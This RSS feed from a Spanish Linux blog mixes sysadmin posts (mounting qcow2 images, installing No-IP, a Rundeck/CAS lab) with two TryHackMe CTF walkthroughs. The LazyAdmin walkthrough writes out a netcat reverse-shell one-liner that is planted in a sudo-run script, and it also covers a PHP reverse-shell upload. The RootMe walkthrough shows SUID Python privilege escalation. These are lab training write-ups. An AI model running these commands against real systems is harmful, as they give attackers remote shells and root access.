<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/feed_style.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="https://www.rssboard.org/media-rss">
  <channel>
    <title>Linux on El blog de Ignacio</title>
    <link>https://www.igalvan.es/tags/linux/</link>
    <description>Recent content in Linux on El blog de Ignacio</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>es</language>
    <copyright>Ignacio Galván Vitas</copyright>
    <lastBuildDate>Tue, 11 Oct 2022 19:00:00 +0100</lastBuildDate><atom:link href="https://www.igalvan.es/tags/linux/index.xml" rel="self" type="application/rss+xml" /><icon>https://www.igalvan.es/logo.svg</icon>
    
    
    <item>
      <title>Rundeck integrado con Apereo CAS (Parte 1)</title>
      <link>https://www.igalvan.es/posts/rundeck-apereo-cas-parte-1/</link>
      <pubDate>Tue, 11 Oct 2022 19:00:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/rundeck-apereo-cas-parte-1/</guid>
      <description><![CDATA[<p>Rundeck se ha convertido en una herramienta imprescindible y que me permite automatizar una enorme cantidad de procesos de una forma sencilla. Si tengo que buscarle un pero es que como todo software que tiene una versión de fuentes abiertas y otra versión &ldquo;profesional&rdquo; de código cerrado y licencia muy cara, es que las mejores opciones, evidentemente, siempre están en la versión de pago. De casi todas ellas se puede prescindir pero hay una que siempre me frustra cuando no está disponible, el SSO.</p>
<p>Así que hoy vamos a ver cómo integrar nuestro SSO de cabecera con esta herramienta a través de un módulo de Apache y de paso vamos a proveerle de un proxy inverso que nos dé encriptación TLS de las comunicaciones.</p>
<h2 id="listado-de-episodios">Listado de episodios</h2>
<ul>
<li><a href="/2022/10/11/rundeck-apereo-cas-parte-1.html">Parte 1</a>.</li>
</ul>
<h2 id="esquema-del-laboratorio">Esquema del laboratorio</h2>
<p>Como siempre, el primer paso es detallar nuestra arquitectura.</p>
<p>Como plataforma de virtualización se ha utilizado KVM sobre Debian 11 pero se puede hacer con cualquier otra como VirtualBox, VMWare o Hyper-V.</p>
<p><img src="/images/2022/20221011-rundeck-apereo-cas-parte-1-img_1.png" alt="image-20221011-rundeck-apereo-cas-parte-1-img_1"></p>
<p>Todos los servidores están desplegados sobre CentOS 7.9 de 64 bits excepto el desktop que es una Debian 11 de 64 bits. En cuanto al resto de componentes:</p>
<ul>
<li>El Apache desplegado es el propio del repositorio estándar de CentOS.</li>
<li>Rundeck Community se ha desplegado en la version 4.7.0.</li>
<li>389DS se ha desplegado en la versión 1.3.10.</li>
<li>Apereo CAS se ha desplegado desde la plantilla de CAS overlay en su versión 6.6.0.</li>
</ul>
<p>Para el direccionamiento de red se ha usado un segmento de red de clase C en el segmente 192.168.122.0/24 con direccionamiento estático asignado a las máquinas.</p>
<p>La distribución final de los equipos en el laboratorio será la siguiente:</p>
<ul>
<li>Servidor 389DS. 2 GB de RAM, 2 vCPU y 40 GB de disco. Dirección IP: 192.168.122.11.</li>
<li>Servidor Apereo CAS. 2 GB de RAM, 2vCPU y 40 GB de disco. Dirección IP: 192.168.122.12.</li>
<li>Servidor Rundeck y Apache. 2 GB de RAM, 2vCPU y 40 GB de disco. Dirección IP: 192.168.122.13.</li>
<li>Estación de trabajo. 2 GB de RAM, 2vCPU y 40 GB de disco. Dirección IP: 192.168.122.2.</li>
</ul>
<p>Como siempre voy a suponer que sabéis cómo instalar los sistemas operativos, 389DS, Apereo CAS y Rundeck por lo que no voy a explicar esta parte. Al fin y al cabo si estáis leyendo esto entiendo que si estás leyendo este artículo es porque ya sabes todo esto.</p>
<p>Hasta el siguiente episodio.</p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Montar un fichero qcow2 en Linux</title>
      <link>https://www.igalvan.es/posts/montar-qcow2-en-linux/</link>
      <pubDate>Sun, 27 Mar 2022 19:00:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/montar-qcow2-en-linux/</guid>
      <description><![CDATA[<p>Hoy vamos a hacer algo sencillo pero que siempre se me olvida como se hace cuando más lo necesito, montar un volumen qcow2 de una máquina virtual para obtener alguno fichero o información que se encuentra dentro.</p>
<h2 id="activar-el-modulo-nbd">Activar el modulo NBD</h2>
<p>Lo primero es cargar el módulo NBD que nos permitirá conectar el fichero qcow2 como un dispositivo de disco más del sistema.</p>
<p>{% highlight bash %}</p>
<p>igalvit@server:/vms/kvm$ sudo modprobe nbd max_part=8</p>
<p>{% endhighlight %}</p>
<h2 id="montar-el-fichero-qcow2">Montar el fichero qcow2</h2>
<p>Una vez que ya tenemos el módulo cargado tenemos que conectar el fichero qcow2, en mi caso se trata de un disco virtual de una máquina CentOS 7.</p>
<p>{% highlight bash %}</p>
<p>igalvit@server:/vms/kvm$ sudo qemu-nbd &ndash;connect=/dev/nbd0 /vms/kvm/centos7.qcow2</p>
<p>{% endhighlight %}</p>
<h2 id="ver-las-particiones-disponibles">Ver las particiones disponibles</h2>
<p>En este punto ya hemos montado el disco pero no sabemos qué contiene, así que vamos a visualizarlo para posteriormente elegir la partición que nos interesa.</p>
<p>{% highlight bash %}</p>
<p>igalvit@server:/vms/kvm$ sudo fdisk /dev/nbd0 -l
Disco /dev/nbd0: 20 GiB, 21474836480 bytes, 41943040 sectores
Unidades: sectores de 1 * 512 = 512 bytes
Tamaño de sector (lógico/físico): 512 bytes / 512 bytes
Tamaño de E/S (mínimo/óptimo): 512 bytes / 512 bytes
Tipo de etiqueta de disco: dos
Identificador del disco: 0x000a1f9c</p>
<p>Dispositivo Inicio Comienzo    Final Sectores Tamaño Id Tipo
/dev/nbd0p1 *          2048  2099199  2097152     1G 83 Linux
/dev/nbd0p2         2099200 41943039 39843840    19G 8e Linux LVM</p>
<p>{% endhighlight %}</p>
<h2 id="montar-la-partición">Montar la partición</h2>
<p>En nuestro caso se trata de un volumen LVM por lo que lleva un poco más de trabajo del habitual.</p>
<p>{% highlight bash %}</p>
<p>igalvit@server:/vms/kvm$ sudo vgscan
Found volume group &ldquo;centos_centos7&rdquo; using metadata type lvm2
Found volume group &ldquo;ubuntu_vg&rdquo; using metadata type lvm2</p>
<p>igalvit@server:/vms/kvm$ sudo vgchange -ay centos_centos7
2 logical volume(s) in volume group &ldquo;centos_centos7&rdquo; now active</p>
<p>igalvit@server:/vms/kvm$ sudo lvs
LV   VG             Attr       LSize   Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
root centos_centos7 -wi-a&mdash;&ndash; &lt;17,00g                                                 <br>
swap centos_centos7 -wi-a&mdash;&ndash;   2,00g                                                 <br>
root ubuntu_vg      -wi-ao&mdash;- 921,00g                                                 <br>
swap ubuntu_vg      -wi-ao&mdash;-  &lt;9,28g</p>
<p>igalvit@server:/vms/kvm$ sudo mount /dev/centos_centos7/root /mnt -o ro,user</p>
<p>{% endhighlight %}</p>
<h2 id="visualizar-el-contenido-de-un-fichero">Visualizar el contenido de un fichero</h2>
<p>Como esto es una prueba no vamos a hacer nada complicado, simplemente vamos a visualizar el fichero de la versión de la distribución de CentOS instalada.</p>
<p>{% highlight bash %}</p>
<p>igalvit@server:/vms/kvm$ cd /mnt</p>
<p>igalvit@server:/mnt$ ls
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr</p>
<p>igalvit@server:/mnt$ cat etc/redhat-release
CentOS Linux release 7.9.2009 (Core)</p>
<p>{% endhighlight %}</p>
<h2 id="desmontarlo-todo">Desmontarlo todo</h2>
<p>Una vez terminada la tareas ha llegado la hora de recoger velas.</p>
<p>{% highlight bash %}</p>
<p>igalvit@server:/$ sudo umount /mnt</p>
<p>igalvit@server:/$ sudo vgchange -an centos_centos7
0 logical volume(s) in volume group &ldquo;centos_centos7&rdquo; now active</p>
<p>igalvit@server:/$ sudo qemu-nbd &ndash;disconnect /dev/nbd0
/dev/nbd0 disconnected</p>
<p>{% endhighlight %}</p>
<p>Y con esto damos por finalizado este artículo.</p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>CFT - TryHackMe - LazyAdmin</title>
      <link>https://www.igalvan.es/posts/ctf-try-hack-me-lazy-admin/</link>
      <pubDate>Wed, 24 Feb 2021 17:00:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/ctf-try-hack-me-lazy-admin/</guid>
      <description><![CDATA[<p>Easy linux machine to practice your skills.</p>
<h1 id="lazy-admin">Lazy Admin</h1>
<p>El primer paso es hacer un poco de reconocimiento a ver qué nos encontramos.</p>
<h3 id="nmap">nmap</h3>
<pre tabindex="0"><code>root@kali:~# nmap -sS -p- --min-rate 500 --open -n -Pn 10.10.188.99
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-19 16:58 UTC
Nmap scan report for 10.10.188.99
Host is up (0.0071s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:3A:29:AF:90:F3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds
root@kali:~# 
root@kali:~# nmap -sV -p22 10.10.188.99
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-19 17:05 UTC
Nmap scan report for ip-10-10-188-99.eu-west-1.compute.internal (10.10.188.99)
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
MAC Address: 02:3A:29:AF:90:F3 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
root@kali:~# 
</code></pre><h3 id="whatweb">whatweb</h3>
<pre tabindex="0"><code>root@kali:~# whatweb http://10.10.188.99 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.188.99], Title[Apache2 Ubuntu Default Page: It works]
root@kali:~# 
</code></pre><h3 id="wfuzz">wfuzz</h3>
<pre tabindex="0"><code>root@kali:~# wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/wfuzz/general/big.txt http://10.10.188.99/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.188.99/FUZZ
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                                       
===================================================================

000000689:   301        9 L      28 W     314 Ch      &#34;content&#34;                           

Total time: 27.80658
Processed Requests: 3024
Filtered Requests: 3023
Requests/sec.: 108.7512

root@kali:~# 
</code></pre><h2 id="what-is-the-user-flag">What is the user flag?</h2>
<p>El primer paso es acceder a la web que publica el servidor a ver qué nos encontramos.</p>
<p><img src="/images/2021/20210224-lazyadmin-web.png" alt="image-20210223200011495"></p>
<p>En Exploit Database encontramos una <a href="https://www.exploit-db.com/exploits/40718">vulnerabilidad</a> que nos dice lo siguiente:</p>
<pre tabindex="0"><code>[...]
Proof of Concept :

You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup
[...]
</code></pre><p>Accedemos a la ruta y nos encontramos un fichero SQL.</p>
<p><img src="/images/2021/20210224-lazyadmin-sqlfile.png" alt="image-20210223195856540"></p>
<p>Descargamos el fichero y revisándolo nos encontramos la siguiente línea:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">\\</span><span style="color:#e6db74">&#34;admin\\&#34;</span>;s:<span style="color:#ae81ff">7</span>:<span style="color:#960050;background-color:#1e0010">\\</span><span style="color:#e6db74">&#34;manager\\&#34;</span>;s:<span style="color:#ae81ff">6</span>:<span style="color:#960050;background-color:#1e0010">\\</span><span style="color:#e6db74">&#34;passwd\\&#34;</span>;s:<span style="color:#ae81ff">32</span>:<span style="color:#960050;background-color:#1e0010">\\</span><span style="color:#e6db74">&#34;42f749ade7f9e195bf475f37a44cafcb\\&#34;</span>
</span></span></code></pre></div><p>Parece que tenemos unas credenciales con un hash MD5 para la contraseña pero lo mejor es confirmarlo.</p>
<pre tabindex="0"><code>root@kali:~/Downloads# hash-identifier 
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /&#39;__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 42f749ade7f9e195bf475f37a44cafcb

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
</code></pre><p>El siguiente paso será obtener una contraseña de ese hash. La herramienta a utilizar queda al buen entendimiento del lector.</p>
<p>De los datos del wfuzz sabemos que hay una carpeta &ldquo;/content&rdquo; y buscando un poco por en el <a href="https://github.com/sweetrice/SweetRice">código fuente en GitHub</a> puedes saber que este CMS tiene su web de administración en la carpeta &ldquo;as&rdquo;, por lo que la ruta a acceder es &ldquo;/content/as&rdquo;</p>
<p><img src="/images/2021/20210224-lazyadmin-sweetrice.png" alt="image-20210223201106410"></p>
<p>Lo divertido es saber dónde cargar el fichero PHP de la shell inversa. Aquí no queda otra que ir pinchando en las distintas opciones. Yo te ahorro el esfuerzo y te digo que hay que cargarlo desde &ldquo;Media Center&rdquo;.</p>
<p>Voy a usar Burp Suite para capturar la llamada POST y poder probar con distintas extensiones de ficheros PHP a ver cuál cuela.</p>
<p><img src="/images/2021/20210224-lazyadmin-post" alt="image-20210223201213742"></p>
<p><img src="/images/2021/20210224-lazyadmin-burp" alt="image-20210223201307163"></p>
<p>Preparo la sesión de netcat desde el equipo atacante</p>
<pre tabindex="0"><code>root@kali:~# netcat -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.34.182] from (UNKNOWN) [10.10.188.99] 47334
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 20:17:53 up  1:21,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can&#39;t access tty; job control turned off
$ whoami
www-data
$
</code></pre><p>Ya solo queda ir a por la bandera de usuario.</p>
<pre tabindex="0"><code>$ cd /home
$ ls
itguy
$ cd itguy
$ ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl
examples.desktop
mysql_login.txt
user.txt
$ cat user.txt
{ESTO_NO_TE_LO_PONGO}
$ 
</code></pre><h2 id="what-is-the-root-flag">What is the root flag?</h2>
<p>El primer paso es intentar escalar privilegios. Vamos a estabilizar la sesión de shell mediante este comando.</p>
<pre tabindex="0"><code>python -c &#39;import pty;pty.spawn(&#34;/bin/bash&#34;)&#39;
</code></pre><p>Ahora ya podemos probar a ver si este usuario puede realizar alguna tarea como root mediante sudo.</p>
<pre tabindex="0"><code>$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
</code></pre><p>Hay un script de Perl que podemos ejecutar pero que no podemos modificar. Vamos a ver si podemos saber qué hace este script.</p>
<pre tabindex="0"><code>$ cat backup.pl
#!/usr/bin/perl

system(&#34;sh&#34;, &#34;/etc/copy.sh&#34;);
</code></pre><p>Ejecuta un fichero llamado &ldquo;copy.sh&rdquo; que sí que podemos modificar. Vamos a cambiar su contenido por una shell inversa al equipo atacante.</p>
<pre tabindex="0"><code>$ echo &#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.34.182 5554 &gt;/tmp/f&#39; &gt; /etc/copy.sh
$ cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.34.182 5554 &gt;/tmp/f
</code></pre><p>Ejecutamos el script.</p>
<pre tabindex="0"><code>$ sudo /usr/bin/perl /home/itguy/backup.pl
</code></pre><p>Ya solo queda obtener la bandera.</p>
<pre tabindex="0"><code># cd /root
# ls
root.txt
# cat root.txt
{ESTO_NO_TE_LO_PONGO}
</code></pre>]]></description>
      
    </item>
    
    
    
    <item>
      <title>CFT - TryHackMe - RootMe</title>
      <link>https://www.igalvan.es/posts/ctf-try-hack-me-root-me/</link>
      <pubDate>Tue, 23 Feb 2021 19:10:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/ctf-try-hack-me-root-me/</guid>
      <description><![CDATA[<p>A ctf for beginners, can you root me?</p>
<h1 id="deploy-the-machine">Deploy the machine</h1>
<p>Bueno esto no tiene mucho misterio, es darle al botón de despliegue y esperar a que arranque.</p>
<h1 id="reconnaissance">Reconnaissance</h1>
<p>First, let&rsquo;s get information about the target.</p>
<h2 id="scan-the-machine-how-many-ports-are-open-what-service-is-running-on-port-22">Scan the machine, how many ports are open? What service is running on port 22?</h2>
<pre tabindex="0"><code>root@kali:~# nmap -sS --min-rate 500 -p- --open -n -Pn 10.10.69.166
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 17:10 UTC
Nmap scan report for 10.10.69.166
Host is up (0.0011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:56:12:EA:16:0D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.97 seconds
root@kali:~# 
</code></pre><h2 id="what-version-of-apache-is-running">What version of Apache is running?</h2>
<pre tabindex="0"><code>root@kali:~# whatweb 10.10.69.166
http://10.10.69.166 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.69.166], Script, Title[HackIT - Home]
root@kali:~# 
</code></pre><h2 id="find-directories-on-the-web-server-using-the-gobuster-tool">Find directories on the web server using the GoBuster tool.</h2>
<p>Yo uso wfuzz. Lo siento, me resulta más comoda esta herramienta.</p>
<pre tabindex="0"><code>root@kali:~# wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/wfuzz/general/big.txt http://10.10.69.166/FUZZ

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.69.166/FUZZ
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                             
===================================================================

000000740:   301        9 L      28 W     310 Ch      &#34;css&#34;                               
000001474:   301        9 L      28 W     309 Ch      &#34;js&#34;                               
000001988:   301        9 L      28 W     312 Ch      &#34;panel&#34;                             

Total time: 28.25782
Processed Requests: 3024
Filtered Requests: 3021
Requests/sec.: 107.0146
</code></pre><h2 id="what-is-the-hidden-directory">What is the hidden directory?</h2>
<p>Tras revisar los resultados del comando anterior es fácil concluir que la respuesta es /panel/.</p>
<h1 id="getting-a-shell">Getting a shell</h1>
<h2 id="find-a-form-to-upload-and-get-a-reverse-shell-and-find-the-flag">Find a form to upload and get a reverse shell, and find the flag.</h2>
<p>He optado por la shell inversa de <a href="https://github.com/pentestmonkey/php-reverse-shell">Pentestmonkey</a>. Hay que editar el fichero y cambiar la IP a la de nuestro equipo atacante y, si se desea, cambiar el puerto.</p>
<p><img src="/images/2021/20210223-rootme-uploads.png" alt="image-20210223190717386"></p>
<p>Al mismo tiempo preparo una sesión de netcat en el equipo atacante para recibir la conexión de la shell inversa.</p>
<pre tabindex="0"><code>root@kali:~# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.82.225] from (UNKNOWN) [10.10.69.166] 39068
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:23:36 up 15 min,  0 users,  load average: 0.00, 0.06, 0.14
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can&#39;t access tty; job control turned off
$ 
</code></pre><h2 id="usertxt">user.txt</h2>
<pre tabindex="0"><code>$ ls
html
user.txt
$ cat user.txt
{ESTO_NO_TE_LO_PONGO}
$ 
</code></pre><h1 id="privilege-escalation">Privilege escalation</h1>
<p>Now that we have a shell, let&rsquo;s escalate our privileges to root.</p>
<h2 id="search-for-files-with-suid-permission-which-file-is-weird">Search for files with SUID permission, which file is weird?</h2>
<p>Hago una búsqueda ejecutables con SUID y entre los resultados destaca el ejecutable de Python.</p>
<pre tabindex="0"><code>$ find / -perm -u=s -type f 2&gt;/dev/null
[...]
/usr/bin/python
[...]
</code></pre><h2 id="find-a-form-to-escalate-your-privileges">Find a form to escalate your privileges.</h2>
<p>Busco la forma de explotar el binario de Python en la web <a href="https://gtfobins.github.io/">GTFOBins</a> y ejecuto lo siguiente.</p>
<pre tabindex="0"><code>$ python -c &#39;import os; os.execl(&#34;/bin/sh&#34;, &#34;sh&#34;, &#34;-p&#34;)&#39;
whoami
root
</code></pre><h2 id="roottxt">root.txt</h2>
<pre tabindex="0"><code>cd /root
ls
root.txt
cat root.txt
{ESTO_NO_TE_LO_PONGO}
</code></pre>]]></description>
      
    </item>
    
    
    
    <item>
      <title>SQL Server sobre Ubuntu. Comenzando....</title>
      <link>https://www.igalvan.es/posts/sql-server-sobre-ubuntu-comenzando/</link>
      <pubDate>Thu, 15 Dec 2016 19:30:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/sql-server-sobre-ubuntu-comenzando/</guid>
      <description><![CDATA[<p>Nunca pensé que vería una instancia de SQL Server ejecutandose sobre GNU/Linux, pues me equivoqué.<!--excerpt--></p>
<p>Y que equivocación tan agradable, estoy realmente deseoso de probar hasta dónde puede llegar este paso que ha dado Microsoft para llevar su SGBD hasta el sistema operativo del pinguino.</p>
<p>![Image SQL Server sobre Linux]({{ site.url }}/assets/sqlserver_linux.png)</p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Instalar el cliente de No-IP en Ubuntu 14.04</title>
      <link>https://www.igalvan.es/posts/instalar-el-cliente-de-no-ip-en-ubuntu/</link>
      <pubDate>Wed, 29 Oct 2014 21:44:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/instalar-el-cliente-de-no-ip-en-ubuntu/</guid>
      <description><![CDATA[<p>Montando un pequeño servidor para acceder a la red interna de mi casa me he visto en la necesidad de instalar el cliente de No-IP para poder disponer de un nombre DNS más fácil de recordar que la IP de mi conexión de <em>Internet</em> que además cambia cada cierto tiempo. ;-)</p>
<p>Aunque la máquina tiene instalada <em>Ubuntu</em> 14.04, el proceso que explico a continuación es valido para muchas otras distribuciones.</p>
<p>El primer paso, que ya se que no es recomendable, es elevar tus privilegios a <em>root</em>. Si no quieres hacerlo siempre puedes añadir <code>sudo</code> delante de los comandos que necesiten los privilegios.</p>
<p><code>sudo -i</code></p>
<p>Descargamos el paquete con el código fuente desde la propia <em>web</em> deNo-IP y proceder a descomprimirlo:</p>
<pre tabindex="0"><code>cd /usr/local/src/
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
tar xf noip-duc-linux.tar.gz
ls
</code></pre><p>Accedemos al directorio que hemos descomprimido:</p>
<p><code>cd  noip-2.1.9-1/</code></p>
<p>Compilamos e instalamos el binario:</p>
<p><code>make install</code></p>
<p>Durante el proceso de instalación nos preguntará por los parametros de configuración. Podemos indicar cualquier cosa porque volveremos a reconfigurar el cliente después de que termine de instarlo.</p>
<p>Una vez haya terminado de compilar e instalar el cliente ejecutaremos el siguiente comando para configurar el cliente:</p>
<p><code>/usr/local/bin/noip2 -C</code></p>
<p>Y se nos pedirán los siguientes datos:</p>
<pre tabindex="0"><code>Please enter the login/email string for no-ip.com xxxxxx
Please enter the password for user &#39;xxxxxx&#39; ****************
Only one host [xxxxxxxxxx.xxxx.xx is registered to this account.
It will be used.
Please enter an update interval:[30] 
Do you wish to run something at successful update?[N] (y/N) n
New configuration file &#39;/usr/local/etc/no-ip2.conf&#39; created.
</code></pre><p>El siguiente paso es crear el servicio para que arranque automáticamente en el inicio del sistema operativo:</p>
<p><code>nano /etc/init.d/noip</code></p>
<p>Copiamos y pegamos esta configuración dentro del editor <em>nano</em>:</p>
<pre tabindex="0"><code>#######################################################
 #! /bin/sh
 case &#34;$1&#34; in
 start)
 echo &#34;Starting noip2&#34;
 /usr/local/bin/noip2
 ;;
 stop)
 echo -n &#34;Shutting down noip2&#34;
 for i in `noip2 -S 2&gt;&amp;1 | grep Process | awk &#39;{print $2}&#39; | tr -d &#39;,&#39;`
 do
 noip2 -K $i
 done
 ;;
 *)
 echo &#34;Usage: $0 {start|stop}&#34;
 exit 1
 esac
 exit 0
 #######################################################
</code></pre><p>Para guardar las modificaciones lo hacemos con <code>Ctrl+X</code>. Ahora cambiamos los permisos del <em>script</em> y probamos su ejecución:</p>
<pre tabindex="0"><code>chmod 700 /etc/init.d/noip
sudo /etc/init.d/noip stop
sudo /etc/init.d/noip start
</code></pre><p>Editamos el fichero del proceso de arranque de <em>Ubuntu</em>:</p>
<p><code>nano /etc/rc.local</code></p>
<p>Ponemos en la línea por encima de la línea <code>exit 0</code> el siguiente comando:</p>
<p><code>/etc/init.d/noip start</code></p>
<p>Para guardar las modificaciones lo hacemos con <code>Ctrl+X</code>. Y con este paso se finaliza la instalación. Para comprobar que está funcionando correctamente puedes probar con el comando <code>nslookup</code> para verificar que se actualiza correctamente la entrada DNS en los servidores de No-IP.</p>
<p><code>nslookup xxxxxxxxxx.xxxx.xx</code></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>OneGet, el gestor de paquetes estilo Linux que tendrá Windows 10</title>
      <link>https://www.igalvan.es/posts/oneget-el-gestor-de-paquetes-estilo/</link>
      <pubDate>Tue, 28 Oct 2014 12:06:00 +0000</pubDate>
      
      <guid>https://www.igalvan.es/posts/oneget-el-gestor-de-paquetes-estilo/</guid>
      <description><![CDATA[<p>Link: <a href="http://www.muycomputer.com/2014/10/28/gestor-paquetes-windows-10">OneGet, el gestor de paquetes estilo Linux que tendrá Windows 10 » MuyComputer</a><br/><br/>    <blockquote class="link_og_blockquote">El nuevo sistema operativo de Microsoft, Windows 10, incluirá un gestor de paquetes al estilo Linux</blockquote></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>¿Se pierde la garantía por instalar Linux? Una gran cadena de tecnología dice que sí</title>
      <link>https://www.igalvan.es/posts/se-pierde-la-garantia-por-instalar/</link>
      <pubDate>Mon, 27 Oct 2014 14:37:00 +0000</pubDate>
      
      <guid>https://www.igalvan.es/posts/se-pierde-la-garantia-por-instalar/</guid>
      <description><![CDATA[<p>Link: <a href="http://www.adslzone.net/2014/10/27/se-pierde-la-garantia-por-instalar-linux-una-gran-cadena-inglesa-dice-que-si/">¿Se pierde la garantía por instalar Linux? Una gran cadena de tecnología dice que sí</a><br/><br/>    <blockquote class="link_og_blockquote">La cadena británica Currys ha negado la garantía de compra de ordenadores de sobremesa a aquellos clientes que instalaron Linux en sus equipos</blockquote></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Systemd pone contra las cuerdas a Debian, ¿posible fork a la vista?</title>
      <link>https://www.igalvan.es/posts/systemd-pone-contra-las-cuerdas-debian/</link>
      <pubDate>Fri, 24 Oct 2014 21:48:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/systemd-pone-contra-las-cuerdas-debian/</guid>
      <description><![CDATA[<p>El empeño que está poniendo la actual directiva de <em>Debian</em> en mantener <a href="http://es.wikipedia.org/wiki/Systemd"><em>systemd</em></a> como demonio de administración del sistema puede hacer que una de las comunidades más antiguas y estables del universo del software libre se tambalee y termine dividiéndose. Muy malas noticias para aquellos que usamos <a href="https://www.debian.org/index.es.html"><em>Debian</em></a> como nuestra distribución principal.</p>
<p>Este conflicto empezó hace ya unos meses como un conato abortado sobre todo cuando desde <em>Canonical</em> se decidió acatar la decisión adoptada desde <em>Debian</em>, pero en estos últimos tiempos una coalición de desarrolladores, administradores y usuarios capitaneados por <a href="http://es.wikipedia.org/wiki/Ian_Jackson">Ian Jackson</a> que propugnan por volver a <a href="http://en.wikipedia.org/wiki/Init"><em>sysvinit</em></a>, está tomando fuerza bajo el lema “<em>hacer una cosa y hacerla bien</em>“.</p>
<p>Estaremos atentos a lo que pase a partir de ahora y esperamos que se puede llegar a un consenso beneficioso para todas las partes.</p>
<p>Enlace: <a href="http://blog.desdelinux.net/systemd-vs-inteligencia/">http://blog.desdelinux.net/systemd-vs-inteligencia/</a></p>
<p>Enlace: <a href="http://debianfork.org/">http://debianfork.org/</a></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Scientific Linux 7.0 Release Notes</title>
      <link>https://www.igalvan.es/posts/scientific-linux-70-release-notes/</link>
      <pubDate>Tue, 14 Oct 2014 13:09:00 +0100</pubDate>
      
